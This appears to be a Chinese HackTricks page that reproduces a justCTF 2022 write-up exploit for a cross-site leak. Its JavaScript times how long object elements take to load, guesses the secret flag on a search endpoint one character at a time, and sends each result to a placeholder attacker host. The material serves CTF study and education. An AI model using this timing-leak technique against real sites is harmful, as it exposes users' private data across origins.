# performance.now + Force heavy task

<details>

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</details>

**利用来源于**[**https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/**](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)

在这个挑战中，用户可以发送数千个字符，如果包含标志，则字符将被发送回给机器人。因此，通过发送大量字符，攻击者可以测量发送的字符串中是否包含标志。

{% hint style="warning" %}
最初，我没有设置对象的宽度和高度，但后来发现这很重要，因为默认大小太小，无法在加载时间上产生差异。
{% endhint %}

\`\`\`html ![](https://deelay.me/30000/https://example.com) fetch('<https://deelay.me/30000/https://example.com>') function send(data) { fetch('<http://vps?data='+encodeURIComponent(data)).catch(err> => 1) }

function leak(char, callback) { return new Promise(resolve => { let ss = 'just\_random\_string' let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss\[Math.floor(Math.random()\*ss.length)].repeat(1000000) let start = performance.now() let object = document.createElement('object'); object.width = '2000px' object.height = '2000px' object.data = url; object.onload = () => { object.remove() let end = performance.now() resolve(end - start) } object.onerror = () => console.log('Error event triggered'); document.body.appendChild(object); })

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz\_}'.split('') let flag = 'justCTF{'

async function main() { let found = 0 let notFound = 0 for(let i=0;i<3;i++) { await leak('..') } for(let i=0; i<3; i++) { found += await leak('justCTF') } for(let i=0; i<3; i++) { notFound += await leak('NOT\_FOUND123') }

found /= 3 notFound /= 3

send('found flag:'+found) send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2) send('threshold:'+threshold)

if (notFound > found) { return }

// exploit while(true) { if (flag\[flag.length - 1] === '}') { break } for(let char of charset) { let trying = flag + char let time = 0 for(let i=0; i<3; i++) { time += await leak(trying) } time/=3 send('char:'+trying+',time:'+time) if (time >= threshold) { flag += char send(flag) break } } } }

main()

\`\`\`

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上做广告**吗？或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
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* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

</details>


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